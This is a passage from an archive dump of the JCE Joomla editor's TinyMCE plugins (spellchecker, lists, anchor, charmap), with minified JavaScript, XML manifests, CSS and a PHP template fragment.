")}),ed.getParam("spellchecker_word_pattern")?rawWords=tx.match("("+ed.getParam("spellchecker_word_pattern")+")","gi"):(tx=tx.replace(new RegExp("([0-9]|["+this._getSeparators()+"])","g")," "),tx=tinymce.trim(tx.replace(/(\s+)/g," ")),rawWords=tx.split(" ")),each(rawWords,function(v){lo[v]||(wl.push(v),lo[v]=1)}),wl},_removeWords:function(w){var ed=this.editor,dom=ed.dom,se=ed.selection,r=se.getRng(!0);each(dom.select("span").reverse(),function(n){n&&(dom.hasClass(n,"mce-item-hiddenspellword")||dom.hasClass(n,"mce-item-hidden"))&&(w&&dom.decode(n.innerHTML)!=w||dom.remove(n,1))}),se.setRng(r)},_markWords:function(wl){var ed=this.editor,dom=ed.dom,doc=ed.getDoc(),se=ed.selection,r=se.getRng(!0),nl=[],w=wl.join("|"),re=this._getSeparators(),rx=new RegExp("(^|["+re+"])("+w+")(?=["+re+"]|$)","g");this._walk(ed.getBody(),function(n){3==n.nodeType&&nl.push(n)}),each(nl,function(n){var node,elem,txt,pos,v=n.nodeValue;if(rx.lastIndex=0,rx.test(v)){if(v=dom.encode(v),elem=dom.create("span",{class:"mce-item-hidden"}),tinymce.isIE){for(v=v.replace(rx,"$1<mcespell>$2</mcespell>");(pos=v.indexOf("<mcespell>"))!=-1;)txt=v.substring(0,pos),txt.length&&(node=doc.createTextNode(dom.decode(txt)),elem.appendChild(node)),v=v.substring(pos+10),pos=v.indexOf("</mcespell>"),txt=v.substring(0,pos),v=v.substring(pos+11),elem.appendChild(dom.create("span",{class:"mce-item-hiddenspellword"},txt));v.length&&(node=doc.createTextNode(dom.decode(v)),elem.appendChild(node))}else elem.innerHTML=v.replace(rx,'$1<span class="mce-item-hiddenspellword">$2</span>');dom.replace(elem,n)}}),se.setRng(r)},_showMenu:function(ed,e){var p1,t=this,ed=t.editor,m=t._menu,dom=ed.dom,vp=dom.getViewPort(ed.getWin()),wordSpan=e.target;return e=0,m||(m=ed.controlManager.createDropMenu("spellcheckermenu",{class:"mceNoIcons"}),t._menu=m),dom.hasClass(wordSpan,"mce-item-hiddenspellword")?(m.removeAll(),m.add({title:"spellchecker.wait",class:"mceMenuItemTitle"}).setDisabled(1),t._sendRPC("getSuggestions",[t.selectedLang,dom.decode(wordSpan.innerHTML)],function(r){var ignoreRpc;m.removeAll(),r.length>0?(m.add({title:"spellchecker.sug",class:"mceMenuItemTitle"}).setDisabled(1),each(r,function(v){m.add({title:v,onclick:function(){dom.replace(ed.getDoc().createTextNode(v),wordSpan),t._checkDone()}})}),m.addSeparator()):m.add({title:"spellchecker.no_sug",class:"mceMenuItemTitle"}).setDisabled(1),ed.getParam("show_ignore_words",!0)&&(ignoreRpc=t.editor.getParam("spellchecker_enable_ignore_rpc",""),m.add({title:"spellchecker.ignore_word",onclick:function(){var word=wordSpan.innerHTML;dom.remove(wordSpan,1),t._checkDone(),ignoreRpc&&(ed.setProgressState(1),t._sendRPC("ignoreWord",[t.selectedLang,word],function(r){ed.setProgressState(0)}))}}),m.add({title:"spellchecker.ignore_words",onclick:function(){var word=wordSpan.innerHTML;t._removeWords(dom.decode(word)),t._checkDone(),ignoreRpc&&(ed.setProgressState(1),t._sendRPC("ignoreWords",[t.selectedLang,word],function(r){ed.setProgressState(0)}))}})),t.editor.getParam("spellchecker_enable_learn_rpc")&&m.add({title:"spellchecker.learn_word",onclick:function(){var word=wordSpan.innerHTML;dom.remove(wordSpan,1),t._checkDone(),ed.setProgressState(1),t._sendRPC("learnWord",[t.selectedLang,word],function(r){ed.setProgressState(0)})}}),m.update()}),p1=DOM.getPos(ed.getContentAreaContainer()),m.settings.offset_x=p1.x,m.settings.offset_y=p1.y,ed.selection.select(wordSpan),p1=dom.getPos(wordSpan),m.showMenu(p1.x,p1.y+wordSpan.offsetHeight-vp.y),tinymce.dom.Event.cancel(e)):void m.hideMenu()},_checkDone:function(){var o,t=this,ed=t.editor,dom=ed.dom;each(dom.select("span"),function(n){if(n&&dom.hasClass(n,"mce-item-hiddenspellword"))return o=!0,!1}),o||t._done()},_done:function(){var t=this,la=t.active;t.active&&(t.active=!!t.native_spellchecker,t._removeWords(),t._menu&&t._menu.hideMenu(),la&&t.editor.nodeChanged())},_sendRPC:function(m,p,cb){var t=this,ed=t.editor,query="",args={format:"raw"};args[ed.settings.token]=1;for(k in args)query+="&"+k+"="+encodeURIComponent(args[k]);var data=JSON.stringify({id:"spellcheck",method:m,params:p});tinymce.util.XHR.send({url:t.rpcUrl,content_type:"application/x-www-form-urlencoded",data:"json="+data+query,success:function(o){var c;try{c=JSON.parse(o)}catch(e){c={error:"JSON Parse error"}}if(!c||c.error){ed.setProgressState(0);var e=c.error||"JSON Parse error";ed.windowManager.alert(e.errstr||"Error response: "+e)}else cb.call(t,c.result||"")},error:function(x){ed.setProgressState(0),ed.windowManager.alert("Error response: "+x)}})}}),tinymce.PluginManager.add("spellchecker",tinymce.plugins.SpellcheckerPlugin)}();editor/tiny_mce/plugins/spellchecker/img/wline.gif000060400000000056150750527150016353 0ustar00GIF89a��**���!�,Df;editor/tiny_mce/plugins/spellchecker/img/index.html000060400000000054150750527150016541 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/spellchecker/index.html000060400000000054150750527150015765 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/spellchecker/css/content.css000060400000000137150750527150016746 0ustar00.mce-item-hiddenspellword{background:url(../img/wline.gif) bottom left repeat-x;cursor:default}editor/tiny_mce/plugins/spellchecker/css/index.html000060400000000054150750527150016555 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/lists/index.html000060400000000054150750527150014457 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/lists/lists.xml000060400000004150150750527150014343 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="lists" core="1" editable="1">
    <name>WF_LISTS_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_LISTS_DESC</description>
    <icon>numlist,bullist</icon>
    <params group="standard">
        <param name="number_styles" class="checklist sortable" type="list" multiple="multiple" default="default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman" label="WF_NUMLIST_STYLES" description="WF_NUMLIST_STYLES_DESC">
            <option value="default">WF_OPTION_DEFAULT</option>
            <option value="lower-alpha">WF_LISTS_LOWER_ALPHA</option>
            <option value="lower-greek">WF_LISTS_LOWER_GREEK</option>
            <option value="lower-roman">WF_LISTS_LOWER_ROMAN</option>
            <option value="upper-alpha">WF_LISTS_UPPER_ALPHA</option>
            <option value="upper-roman">WF_LISTS_UPPER_ROMAN</option>
        </param>
        <param name="bullet_styles" class="checklist sortable" type="list" multiple="multiple" default="default,circle,disc,square" label="WF_BULLIST_STYLES" description="WF_BULLIST_STYLES_DESC">
            <option value="default">WF_OPTION_DEFAULT</option>
            <option value="circle">WF_LISTS_CIRCLE</option>
            <option value="disc">WF_LISTS_DISC</option>
            <option value="square">WF_LISTS_SQUARE</option>
        </param>
    </params>
    <params group="buttons">
        <param name="buttons" class="checklist buttonlist" type="list" multiple="multiple" default="numlist,bullist" label="WF_PARAM_BUTTONS" description="WF_PARAM_BUTTONS_DESC">
            <option value="numlist">WF_NUMLIST_TITLE</option>
            <option value="bullist">WF_BULLIST_TITLE</option>
        </param>
    </params>
    <help></help>
    <languages></languages>
</install>editor/tiny_mce/plugins/lists/editor_plugin.js000060400000033403150750527150015670 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){function isListNode(node){return node&&/^(OL|UL|DL)$/.test(node.nodeName)}function isFirstChild(node){return node.parentNode.firstChild==node}function isLastChild(node){return node.parentNode.lastChild==node}tinymce.create("tinymce.plugins.Lists",{init:function(editor){function isTextBlock(node){return node&&!!editor.schema.getTextBlockElements()[node.nodeName]}function isEmpty(elm,keepBookmarks){var empty=editor.dom.isEmpty(elm);return!(keepBookmarks&&editor.dom.select("span[data-mce-type=bookmark]").length>0)&&empty}function createBookmark(rng){function setupEndPoint(start){var offsetNode,container,offset;container=rng[start?"startContainer":"endContainer"],offset=rng[start?"startOffset":"endOffset"],1==container.nodeType&&(offsetNode=editor.dom.create("span",{"data-mce-type":"bookmark"}),container.hasChildNodes()?(offset=Math.min(offset,container.childNodes.length-1),start?container.insertBefore(offsetNode,container.childNodes[offset]):editor.dom.insertAfter(offsetNode,container.childNodes[offset])):container.appendChild(offsetNode),container=offsetNode,offset=0),bookmark[start?"startContainer":"endContainer"]=container,bookmark[start?"startOffset":"endOffset"]=offset}var bookmark={};return setupEndPoint(!0),rng.collapsed||setupEndPoint(),bookmark}function moveToBookmark(bookmark){function restoreEndPoint(start){function nodeIndex(container){for(var node=container.parentNode.firstChild,idx=0;node;){if(node==container)return idx;1==node.nodeType&&"bookmark"==node.getAttribute("data-mce-type")||idx++,node=node.nextSibling}return-1}var container,offset,node;container=node=bookmark[start?"startContainer":"endContainer"],offset=bookmark[start?"startOffset":"endOffset"],container&&(1==container.nodeType&&(offset=nodeIndex(container),container=container.parentNode,editor.dom.remove(node)),bookmark[start?"startContainer":"endContainer"]=container,bookmark[start?"startOffset":"endOffset"]=offset)}restoreEndPoint(!0),restoreEndPoint();var rng=editor.dom.createRng();rng.setStart(bookmark.startContainer,bookmark.startOffset),bookmark.endContainer&&rng.setEnd(bookmark.endContainer,bookmark.endOffset),editor.selection.setRng(rng)}function createNewTextBlock(contentNode,blockName){var node,textBlock,hasContentNode,fragment=editor.dom.createFragment(),blockElements=editor.schema.getBlockElements();if(editor.settings.forced_root_block&&(blockName=blockName||editor.settings.forced_root_block),blockName&&(textBlock=editor.dom.create(blockName),textBlock.tagName===editor.settings.forced_root_block&&editor.dom.setAttribs(textBlock,editor.settings.forced_root_block_attrs),fragment.appendChild(textBlock)),contentNode)for(;node=contentNode.firstChild;){var nodeName=node.nodeName;hasContentNode||"SPAN"==nodeName&&"bookmark"==node.getAttribute("data-mce-type")||(hasContentNode=!0),blockElements[nodeName]?(fragment.appendChild(node),textBlock=null):blockName?(textBlock||(textBlock=editor.dom.create(blockName),fragment.appendChild(textBlock)),textBlock.appendChild(node)):fragment.appendChild(node)}return editor.settings.forced_root_block?hasContentNode||tinymce.isIE&&!tinymce.isIE10&&!tinymce.isIE11&&!tinymce.isIE12||textBlock.appendChild(editor.dom.create("br",{"data-mce-bogus":"1"})):fragment.appendChild(editor.dom.create("br")),fragment}function getSelectedListItems(){return tinymce.grep(editor.selection.getSelectedBlocks(),function(block){return/^(LI|DT|DD)$/.test(block.nodeName)})}function splitList(ul,li,newBlock){function removeAndKeepBookmarks(targetNode){tinymce.each(bookmarks,function(node){targetNode.parentNode.insertBefore(node,li.parentNode)}),editor.dom.remove(targetNode)}var tmpRng,fragment,bookmarks,node;for(bookmarks=editor.dom.select('span[data-mce-type="bookmark"]',ul),newBlock=newBlock||createNewTextBlock(li),tmpRng=editor.dom.createRng(),tmpRng.setStartAfter(li),tmpRng.setEndAfter(ul),fragment=tmpRng.extractContents(),node=fragment.firstChild;node;node=node.firstChild)if("LI"==node.nodeName&&editor.dom.isEmpty(node)){editor.dom.remove(node);break}editor.dom.isEmpty(fragment)||editor.dom.insertAfter(fragment,ul),editor.dom.insertAfter(newBlock,ul),isEmpty(li.parentNode)&&removeAndKeepBookmarks(li.parentNode),editor.dom.remove(li),isEmpty(ul)&&editor.dom.remove(ul)}function mergeWithAdjacentLists(listBlock){var sibling,node;if(sibling=listBlock.nextSibling,sibling&&isListNode(sibling)&&sibling.nodeName==listBlock.nodeName){for(;node=sibling.firstChild;)listBlock.appendChild(node);editor.dom.remove(sibling)}if(sibling=listBlock.previousSibling,sibling&&isListNode(sibling)&&sibling.nodeName==listBlock.nodeName){for(;node=sibling.firstChild;)listBlock.insertBefore(node,listBlock.firstChild);editor.dom.remove(sibling)}}function normalizeList(element){tinymce.each(tinymce.grep(editor.dom.select("ol,ul",element)),function(ul){var sibling,parentNode=ul.parentNode;"LI"==parentNode.nodeName&&parentNode.firstChild==ul&&(sibling=parentNode.previousSibling,sibling&&"LI"==sibling.nodeName&&(sibling.appendChild(ul),isEmpty(parentNode)&&editor.dom.remove(parentNode))),isListNode(parentNode)&&(sibling=parentNode.previousSibling,sibling&&"LI"==sibling.nodeName&&sibling.appendChild(ul))})}function outdent(li){function removeEmptyLi(li){isEmpty(li)&&editor.dom.remove(li)}var newBlock,ul=li.parentNode,ulParent=ul.parentNode;return"DD"==li.nodeName?(editor.dom.rename(li,"DT"),!0):isFirstChild(li)&&isLastChild(li)?("LI"==ulParent.nodeName?(editor.dom.insertAfter(li,ulParent),removeEmptyLi(ulParent),editor.dom.remove(ul)):isListNode(ulParent)?editor.dom.remove(ul,!0):(ulParent.insertBefore(createNewTextBlock(li),ul),editor.dom.remove(ul)),!0):isFirstChild(li)?("LI"==ulParent.nodeName?(editor.dom.insertAfter(li,ulParent),li.appendChild(ul),removeEmptyLi(ulParent)):isListNode(ulParent)?ulParent.insertBefore(li,ul):(ulParent.insertBefore(createNewTextBlock(li),ul),editor.dom.remove(li)),!0):isLastChild(li)?("LI"==ulParent.nodeName?editor.dom.insertAfter(li,ulParent):isListNode(ulParent)?editor.dom.insertAfter(li,ul):(editor.dom.insertAfter(createNewTextBlock(li),ul),editor.dom.remove(li)),!0):("LI"==ulParent.nodeName?(ul=ulParent,newBlock=createNewTextBlock(li,"LI")):newBlock=isListNode(ulParent)?createNewTextBlock(li,"LI"):createNewTextBlock(li),splitList(ul,li,newBlock),normalizeList(ul.parentNode),!0)}function indent(li){function mergeLists(from,to){var node;if(isListNode(from)){for(;node=li.lastChild.firstChild;)to.appendChild(node);editor.dom.remove(from)}}function appendToNewListItem(li,newList){var listItem=editor.dom.create("li",{style:"list-style-type: none;"});li.parentNode.insertBefore(listItem,li),listItem.appendChild(newList)}var sibling,newList;return"DT"==li.nodeName?(editor.dom.rename(li,"DD"),!0):(sibling=li.previousSibling,sibling&&isListNode(sibling)?(sibling.appendChild(li),!0):sibling&&"LI"==sibling.nodeName&&isListNode(sibling.lastChild)?(sibling.lastChild.appendChild(li),mergeLists(li.lastChild,sibling.lastChild),!0):(sibling=li.nextSibling,sibling&&isListNode(sibling)?(sibling.insertBefore(li,sibling.firstChild),!0):(sibling=li.previousSibling||li.nextSibling,sibling&&"LI"==sibling.nodeName?(newList=editor.dom.create(li.parentNode.nodeName),li.previousSibling?sibling.appendChild(newList):appendToNewListItem(li,newList),newList.appendChild(li),mergeLists(li.lastChild,newList),!0):!(sibling||!isListNode(li.parentNode))&&(newList=editor.dom.create(li.parentNode.nodeName),appendToNewListItem(li,newList),newList.appendChild(li),!0))))}function indentSelection(){var listElements=getSelectedListItems();if(listElements.length){for(var bookmark=createBookmark(editor.selection.getRng(!0)),i=0;i<listElements.length&&(indent(listElements[i])||0!==i);i++);return moveToBookmark(bookmark),editor.nodeChanged(),!0}}function outdentSelection(){var listElements=getSelectedListItems();if(listElements.length){var i,y,bookmark=createBookmark(editor.selection.getRng(!0)),root=editor.getBody();for(i=listElements.length;i--;)for(var node=listElements[i].parentNode;node&&node!=root;){for(y=listElements.length;y--;)if(listElements[y]===node){listElements.splice(i,1);break}node=node.parentNode}for(i=0;i<listElements.length&&(outdent(listElements[i])||0!==i);i++);return moveToBookmark(bookmark),editor.nodeChanged(),!0}}function applyList(listName){function getSelectedTextBlocks(){function isBookmarkNode(node){return node&&"SPAN"===node.tagName&&"bookmark"===node.getAttribute("data-mce-type")}function getEndPointNode(start){var container,offset;for(container=rng[start?"startContainer":"endContainer"],offset=rng[start?"startOffset":"endOffset"],1==container.nodeType&&(container=container.childNodes[Math.min(offset,container.childNodes.length-1)]||container);container.parentNode!=root;){if(isTextBlock(container))return container;if(/^(TD|TH)$/.test(container.parentNode.nodeName))return container;container=container.parentNode}return container}for(var block,textBlocks=[],root=editor.getBody(),startNode=getEndPointNode(!0),endNode=getEndPointNode(),siblings=[],node=startNode;node&&(siblings.push(node),node!=endNode);node=node.nextSibling);return tinymce.each(siblings,function(node){if(isTextBlock(node))return textBlocks.push(node),void(block=null);if(editor.dom.isBlock(node)||"BR"==node.nodeName)return"BR"==node.nodeName&&editor.dom.remove(node),void(block=null);var nextSibling=node.nextSibling;return isBookmarkNode(node)&&(isTextBlock(nextSibling)||!nextSibling&&node.parentNode==root)?void(block=null):(block||(block=editor.dom.create("p"),node.parentNode.insertBefore(block,node),textBlocks.push(block)),void block.appendChild(node))}),textBlocks}var rng=editor.selection.getRng(!0),bookmark=createBookmark(rng),listItemName="LI";listName=listName.toUpperCase(),"DL"==listName&&(listItemName="DT"),tinymce.each(getSelectedTextBlocks(),function(block){var listBlock,sibling;sibling=block.previousSibling,sibling&&isListNode(sibling)&&sibling.nodeName==listName?(listBlock=sibling,block=editor.dom.rename(block,listItemName),sibling.appendChild(block)):(listBlock=editor.dom.create(listName),block.parentNode.insertBefore(listBlock,block),listBlock.appendChild(block),block=editor.dom.rename(block,listItemName)),mergeWithAdjacentLists(listBlock)}),moveToBookmark(bookmark)}function removeList(){var bookmark=createBookmark(editor.selection.getRng(!0)),root=editor.getBody();tinymce.each(getSelectedListItems(),function(li){var node,rootList;if(isEmpty(li))return void outdent(li);for(node=li;node&&node!=root;node=node.parentNode)isListNode(node)&&(rootList=node);splitList(rootList,li)}),moveToBookmark(bookmark)}function toggleList(listName){var parentList=editor.dom.getParent(editor.selection.getStart(),"OL,UL,DL");if(parentList)if(parentList.nodeName==listName)removeList(listName);else{var bookmark=createBookmark(editor.selection.getRng(!0));mergeWithAdjacentLists(editor.dom.rename(parentList,listName)),moveToBookmark(bookmark)}else applyList(listName)}function queryListCommandState(listName){return function(){var parentList=editor.dom.getParent(editor.selection.getStart(),"UL,OL,DL");return parentList&&parentList.nodeName==listName}}var self=this;self.backspaceDelete=function(isForward){function findNextCaretContainer(rng,isForward){var nonEmptyBlocks,walker,node=rng.startContainer,offset=rng.startOffset;if(3==node.nodeType&&(isForward?offset<node.data.length:offset>0))return node;for(nonEmptyBlocks=editor.schema.getNonEmptyElements(),1==node.nodeType&&(node=tinymce.dom.RangeUtils.getNode(node,offset)),walker=new tinymce.dom.TreeWalker(rng.startContainer),isForward&&isBogusBr(node)&&walker.next();node=walker[isForward?"next":"prev"]();){if("LI"==node.nodeName&&!node.hasChildNodes())return node;if(nonEmptyBlocks[node.nodeName])return node;if(3==node.nodeType&&node.data.length>0)return node}}function mergeLiElements(fromElm,toElm){var node,listNode,ul=fromElm.parentNode;if(isListNode(toElm.lastChild)&&(listNode=toElm.lastChild),node=toElm.lastChild,node&&"BR"==node.nodeName&&fromElm.hasChildNodes()&&editor.dom.remove(node),isEmpty(toElm,!0)&&editor.dom.empty(editor.dom.select(toElm)),!isEmpty(fromElm,!0))for(;node=fromElm.firstChild;)toElm.appendChild(node);listNode&&toElm.appendChild(listNode),editor.dom.remove(fromElm),isEmpty(ul)&&editor.dom.remove(ul)}editor.dom,editor.seletion;if(editor.selection.isCollapsed()){var li=editor.dom.getParent(editor.selection.getStart(),"LI");if(li){var rng=editor.selection.getRng(!0),otherLi=editor.dom.getParent(findNextCaretContainer(rng,isForward),"LI");if(otherLi&&otherLi!=li){var bookmark=createBookmark(rng);return isForward?mergeLiElements(otherLi,li):mergeLiElements(li,otherLi),moveToBookmark(bookmark),!0}if(!otherLi&&!isForward&&removeList(li.parentNode.nodeName))return!0}}},editor.onBeforeExecCommand.add(function(ed,cmd,ui,v,o){if("indent"==cmd.toLowerCase()){if(indentSelection())return o.terminate=!0,!0}else if("outdent"==cmd.toLowerCase()&&outdentSelection())return o.terminate=!0,!0}),editor.addCommand("InsertUnorderedList",function(){toggleList("UL")}),editor.addCommand("InsertOrderedList",function(){toggleList("OL")}),editor.addCommand("InsertDefinitionList",function(){toggleList("DL")}),editor.addQueryStateHandler("InsertUnorderedList",queryListCommandState("UL")),editor.addQueryStateHandler("InsertOrderedList",queryListCommandState("OL")),editor.addQueryStateHandler("InsertDefinitionList",queryListCommandState("DL")),editor.onKeyDown.add(function(ed,e){9!=e.keyCode||tinymce.VK.metaKeyPressed(e)||(editor.dom.getParent(editor.selection.getStart(),"LI,DT,DD")&&(e.preventDefault(),e.shiftKey?outdentSelection():indentSelection()),e.keyCode==tinymce.VK.BACKSPACE?self.backspaceDelete()&&e.preventDefault():e.keyCode==tinymce.VK.DELETE&&self.backspaceDelete(!0)&&e.preventDefault())})},backspaceDelete:function(isForward){return this.backspaceDelete(isForward)}}),tinymce.PluginManager.add("lists",tinymce.plugins.Lists)}();editor/tiny_mce/plugins/anchor/anchor.xml000060400000001207150750527150014573 0ustar00<?xml version="1.0" ?>
<install version="2.1.0" type="plugin" plugin="anchor" core="1" editable="0">
	<name>WF_ANCHOR_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_ANCHOR_DESC</description>
	<icon>anchor</icon>
	<layout>anchor</layout>
	<files></files>
	<params></params>
	<languages></languages>
	<help></help>
</install>editor/tiny_mce/plugins/anchor/editor_plugin.js000060400000010706150750527150016005 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var DOM=tinymce.DOM,each=(tinymce.dom.Event,tinymce.is,tinymce.each),VK=(tinymce.html.Node,tinymce.VK);VK.BACKSPACE,VK.DELETE;tinymce.create("tinymce.plugins.AnchorPlugin",{init:function(ed,url){function isAnchor(n){return ed.dom.getParent(n,"a.mce-item-anchor")}this.editor=ed,this.url=url;var self=this;ed.settings.allow_html_in_named_anchor=!0,ed.addCommand("mceInsertAnchor",function(ui,value){return self._insertAnchor(value)}),ed.onNodeChange.add(function(ed,cm,n,co){var s=isAnchor(n);ed.dom.removeClass(ed.dom.select(".mce-item-anchor.mce-item-selected"),"mce-item-selected"),cm.setActive("anchor",s),s&&ed.dom.addClass(n,"mce-item-selected")}),ed.onKeyDown.add(function(ed,e){e.keyCode!==VK.BACKSPACE&&e.keyCode!==VK.DELETE||self._removeAnchor(e)}),ed.onInit.add(function(){ed.theme&&ed.theme.onResolveName&&ed.theme.onResolveName.add(function(theme,o){var v,n=o.node,href=n.href;"a"!==o.name||href&&"#"!=href.charAt(0)||!n.name&&!n.id||(v=n.name||n.id),v&&(o.name="a#"+v)}),ed.settings.compress.css||ed.dom.loadCSS(url+"/css/content.css")}),ed.onPreInit.add(function(){function isAnchorLink(node){var href=node.attr("href"),name=node.attr("name")||node.attr("id");return!!name&&(!href||"#"===href.charAt(0)&&href.length>1)}ed.parser.addNodeFilter("a",function(nodes){for(var i=0,len=nodes.length;i<len;i++){var node=nodes[i],cls=(node.attr("href"),node.attr("class")||"");node.attr("name")||node.attr("id");isAnchorLink(node)&&(cls&&/mce-item-anchor/.test(cls)!==!1||(cls+=" mce-item-anchor",node.attr("class",tinymce.trim(cls))))}})}),ed.onBeforeSetContent.add(function(ed,o){o.content=o.content.replace(/<a id="([^"]+)"><\/a>/gi,'<a id="$1">\ufeff</a>')})},_removeAnchor:function(e){var ed=this.editor,s=ed.selection,n=s.getNode();!s.isCollapsed()&&ed.dom.getParent(n,"a.mce-item-anchor")&&(ed.undoManager.add(),ed.formatter.remove("link"),e&&e.preventDefault())},_getAnchor:function(){var v,ed=this.editor,n=ed.selection.getNode();return n=ed.dom.getParent(n,"a.mce-item-anchor"),v=ed.dom.getAttrib(n,"name")||ed.dom.getAttrib(n,"id")},_insertAnchor:function(v){var attrib,ed=this.editor;if(!v)return ed.windowManager.alert("anchor.invalid"),!1;if(!/^[a-z][a-z0-9\-\_:\.]*$/i.test(v))return ed.windowManager.alert("anchor.invalid"),!1;attrib="name","html4"!==ed.settings.schema&&(attrib="id");var n=ed.selection.getNode(),at={class:"mce-item-anchor"};if(n=ed.dom.getParent(n,"A"))at[attrib]=v,ed.dom.setAttribs(n,at);else{if(ed.dom.select("a["+attrib+'="'+v+'"], img[data-mce-name="'+v+'"], img[id="'+v+'"]',ed.getBody()).length)return ed.windowManager.alert("anchor.exists"),!1;ed.selection.isCollapsed()?(at[attrib]=v,ed.execCommand("mceInsertContent",0,ed.dom.createHTML("a",{id:"__mce_tmp"},"\ufeff")),n=ed.dom.get("__mce_tmp"),at.id=at.id||null,ed.dom.setAttribs(n,at),ed.selection.select(n)):(at[attrib]=v,ed.execCommand("mceInsertLink",!1,"#mce_temp_url#",{skip_undo:1}),at.href=at["data-mce-href"]=null,each(ed.dom.select('a[href="#mce_temp_url#"]'),function(link){ed.dom.setAttribs(link,at)}))}return ed.execCommand("mceEndUndoLevel"),ed.nodeChanged(),!0},createControl:function(n,cm){var self=this,ed=this.editor;switch(n){case"anchor":var content=DOM.create("div");DOM.add(content,"h4",{},ed.getLang("anchor.desc","Insert / Edit Anchor"));var input=DOM.add(content,"input",{type:"text",id:ed.id+"_input_anchor"}),c=new tinymce.ui.ButtonDialog(cm.prefix+"anchor",{title:ed.getLang("anchor.desc","Inserts an Anchor"),class:"mce_anchor",content:content.innerHTML,width:250,buttons:[{title:ed.getLang("insert","Insert"),id:"insert",click:function(e){return input=DOM.get(ed.id+"_input_anchor"),self._insertAnchor(input.value)},classes:"mceDialogButtonPrimary",scope:self},{title:ed.getLang("anchor.remove","Remove"),id:"remove",click:function(e){return DOM.hasClass(e.target,"disabled")||self._removeAnchor(),!0},scope:self}]},ed);return c.onShowDialog.add(function(){input=DOM.get(ed.id+"_input_anchor"),input.value="";var label=ed.getLang("insert","Insert"),v=self._getAnchor();v&&(input.value=v,label=ed.getLang("update","Update")),c.setActive(!!v),c.setButtonDisabled("remove",!v),c.setButtonLabel("insert",label),input.focus()}),c.onHideDialog.add(function(){input.value=""}),ed.onRemove.add(function(){c.destroy()}),cm.add(c)}return null}}),tinymce.PluginManager.add("anchor",tinymce.plugins.AnchorPlugin)}();editor/tiny_mce/plugins/anchor/index.html000060400000000054150750527150014573 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/anchor/css/index.html000060400000000054150750527150015363 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/anchor/css/content.css000060400000000774150750527150015563 0ustar00a.mce-item-anchor{width:11px!important;height:11px!important;background:url(../img/anchor.gif) 2px center no-repeat;padding-left:14px;border:1px dashed #B4D4FF;text-decoration:none;font-weight:400;color:inherit;vertical-align:middle;-ms-user-select:all;-ms-user-modify:read-only;user-select:all;user-modify:read-only;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only}.mce-item-anchor.mce-item-selected,a.mce-item-anchor::selection{background-color:#b4d4ff}editor/tiny_mce/plugins/anchor/img/anchor.gif000060400000000106150750527150015311 0ustar00GIF89a���������!�,@��w&��ڃq����|�a�4�b�;editor/tiny_mce/plugins/anchor/img/index.html000060400000000054150750527150015347 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/charmap/css/index.html000060400000000054150750527150015524 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/charmap/css/charmap.css000060400000001571150750527150015661 0ustar00#charmap,#charmap #codeN,#charmap #codeV,#charmap a{text-align:center}#charmap{padding:15px 0;top:5px;bottom:5px;left:5px;right:5px}#charmap ul{list-style:none;margin:0;padding:0}#charmap ul li{border:1px solid #ddd;display:inline-block;margin:0 2px 2px 0}#charmapDescription,#charmapView{float:left}#charmapDescription div{width:80px}#charmapDescription div.box{border:1px solid #ddd;height:40px;text-align:center;margin:5px 0 0}#charmapDescription div.box div.title{font-size:1em}#charmap a{width:22px;height:22px;font-size:12px;vertical-align:middle;line-height:22px;display:block;color:#444}#charmap a:hover{background:#f5f5f5;color:#444;text-decoration:none}#charmap #codeN{font-size:10px;height:30px;line-height:16px;padding:3px 2px 8px}#charmap #codeV{font-size:40px;height:60px;border:1px solid #ddd;line-height:60px}#charmap #codeA,#charmap #codeB{font-size:1.1em;font-weight:700}editor/tiny_mce/plugins/charmap/tmpl/index.html000060400000000054150750527150015710 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/charmap/tmpl/default.php000060400000001761150750527150016056 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>

<form onsubmit="return false;" action="#">
	<div id="charmap" role="presentation" class="uk-grid uk-grid-small">
		<div id="charmapView" class="uk-width-5-6"><!-- Chars will be rendered here --></div>
		<div id="charmapDescription" class="uk-width-1-6">
			<div id="codeV"></div>
			<div id="codeN"></div>
			<div class="box">
				<div class="title">HTML-Code</div>
				<div id="codeA"></div>
			</div>
